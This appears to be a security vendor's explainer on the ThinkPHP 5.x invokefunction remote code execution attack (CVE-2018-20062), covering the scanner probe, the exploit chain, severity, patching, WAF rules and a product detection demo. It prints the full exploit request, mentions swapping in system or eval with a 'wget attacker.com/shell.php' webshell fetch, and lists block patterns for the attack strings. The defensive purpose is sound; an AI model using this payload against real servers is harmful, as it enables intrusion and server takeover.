🚨 Active Attack

ThinkPHP RCE Attempt

A ThinkPHP RCE attempt is a remote code execution attack targeting the ThinkPHP PHP framework — popular in Chinese-language web ecosystems — that abuses the framework’s invokefunction routing to call PHP’s call_user_func_array with attacker-controlled arguments. The pattern is automated scanner traffic probing the entire public IPv4 space continuously.

TL;DR — Automated scanners probe public IP space with URLs containing ?s=/index/\think\app\invokefunction. If your server runs an unpatched ThinkPHP 5.x, this leads to remote code execution via call_user_func_array. If you don’t run ThinkPHP, these requests return 404 and are harmless noise — but they’re still useful reconnaissance signal that your perimeter is being probed.
Not to be confused with The ThinkPHP invokefunction RCE described here (CVE-2018-20062) is distinct from earlier ThinkPHP exploits like the captcha-based RCE (CVE-2018-16385) or the eval-based template injection. They target the same framework but different code paths. Patching for one doesn’t necessarily close the others.

What does a ThinkPHP RCE attempt look like?

The attack arrives as a single GET request. Real example, from a Dstl8 customer’s production logs:

GET /public/index.php?s=/index/\think\app\invokefunction
  &function=call_user_func_array
  &vars[0]=md5
  &vars[1][]=test HTTP/1.1

Three components:

  1. The s query parameter tells ThinkPHP which module/controller/method to route to. Setting it to /index/\think\app\invokefunction tells the framework to invoke its own internal invokefunction method.
  2. function=call_user_func_array passes call_user_func_array as the function to be invoked.
  3. vars[0]=md5&vars[1][]=test provides the arguments. In this case, the canary call is call_user_func_array('md5', ['test']) — a benign hash call that scanners use to test for successful exploitation.

Real attacks substitute the function name (md5system, shell_exec, passthru, eval) and arguments (test → actual commands like wget attacker.com/shell.php) to achieve code execution.

Why does this attack work?

ThinkPHP 5.x before patches in 5.0.24 and 5.1.31 allowed the framework’s URL router to invoke arbitrary internal methods based on user input in the s parameter. The invokefunction method (intended as an internal helper for the framework) accepted any callable name and any arguments without validation.

The exploit chain:

  1. Attacker sends GET request with ?s=/index/\think\app\invokefunction&function=...&vars=...
  2. ThinkPHP parses the s parameter and routes the request to the framework’s internal App\invokeFunction() method
  3. The function query parameter is passed as the callable — with no whitelist of allowed functions
  4. The vars array is passed as the arguments — with no validation
  5. call_user_func_array($function, $vars) executes the attacker’s payload in PHP context

CVE-2018-20062 was published in December 2018. The patches landed in ThinkPHP 5.0.24 (Dec 2018) and 5.1.31 (Dec 2018), restricting the routing to only invoke legitimate controller methods. Eight years later, scanner traffic for this exploit remains constant — partly because some installations are still on vulnerable 5.x versions, and partly because the exploit cost is so low that scanners include it in every probe batch regardless.

How severe is it?

Severity if successful: Critical. The exploit yields full remote code execution in the web server’s PHP context — same as the PHP pearcmd RCE blast radius:

  • Web server compromise
  • Database credential exfiltration
  • Lateral movement into shared infrastructure
  • Persistent backdoors via uploaded webshells

Severity if blocked (404 response): Effectively zero — your server isn’t running vulnerable ThinkPHP, so the request hits no real handler. But: repeated probing attempts indicate your IP space is on a scanner’s active target list, and ThinkPHP probes are usually batched with other framework probes (Laravel debug, phpunit eval, pearcmd) by the same automated reconnaissance infrastructure.

How to debug and remediate

1. Check the HTTP response code

ResponseMeaningAction
404 / 403Route doesn’t exist or blockedLog for awareness, no immediate action
200 with md5 canary in outputActive compromiseIncident response — isolate host immediately
200 with normal bodyProbe failed silentlyVerify ThinkPHP isn’t present
500Crash from malformed requestAudit any ThinkPHP installation present

2. Confirm ThinkPHP isn’t deployed

If you don’t run ThinkPHP, you’re not exploitable. Search your filesystem:

find / -name "ThinkPHP*" -o -name "thinkphp*" 2>/dev/null
find / -path "*/think/*" -name "*.php" 2>/dev/null | head

If nothing returns, you’re clean. If ThinkPHP files exist (even in a forgotten subdirectory), they’re attack surface even if not actively used.

3. If ThinkPHP IS deployed — patch immediately

Upgrade to:

  • ThinkPHP 5.0.24 or later (for 5.0.x branch)
  • ThinkPHP 5.1.31 or later (for 5.1.x branch)
  • ThinkPHP 6.x (for new installs — the vulnerable routing was redesigned in 6.0)

If patching isn’t immediately possible, add the WAF rules below as a stopgap.

4. Add WAF rules

Block requests matching the attack signature regardless of whether ThinkPHP is present:

  • Any URL query string containing invokefunction
  • Any URL query string containing call_user_func_array
  • Any URL with s= parameter containing /index/\think or think\app

These strings should never appear in legitimate traffic to any application.

5. Audit web-writable directories

Successful ThinkPHP RCE typically writes a PHP webshell to disk as a staging step. After remediation, check:

find /var/www /tmp /uploads -name "*.php" -mtime -30 \
  -not -path "*/vendor/*" -not -path "*/node_modules/*"

Any unexpected .php file is a candidate for forensic analysis.

How Dstl8 detects this

Dstl8 flags ThinkPHP RCE attempts by exploit family, groups them with related attack patterns from the same scanner session, and confirms blocking status — surfacing one incident with the full attack panorama rather than dozens of “weird URL” alerts. Here’s an actual detection from a Dstl8 customer’s logs (anonymized):

Real detection · anonymized
Powered by CONTROLTHEORY
Incident Active ACME-PROD

Active path traversal and RCE attack attempts detected on customer-portal

Confirmed active security attacks detected: directory traversal, PHP pearcmd RCE, and ThinkPHP RCE attempts. All attacks blocked with 404 responses. 6 log entries found between 03:12:56–03:12:57 UTC.

Started
03:12
May 19
Duration
12m
Severity
Major
Events
3

Three things to notice about how this detection differs from typical web-server log alerts:

  1. Exploit families named explicitly. Not “suspicious request” — “ThinkPHP RCE,” “PHP pearcmd RCE,” “directory traversal.” A security engineer can triage by exploit class without grep.
  2. All three attack types grouped in one incident. Scanners typically batch these patterns; Dstl8 reflects that reality rather than firing three independent alerts.
  3. Blocking status confirmed. “All attacks blocked with 404 responses” — tells the engineer the perimeter held, no incident-response escalation needed.

Related patterns

References

See real attack detections in your own logs.

Dstl8 catches ThinkPHP, pearcmd, directory traversal, and other automated RCE attempts — grouped into a single incident with exploit families named, not 50 separate alerts.

Start Free 14-Day Trial →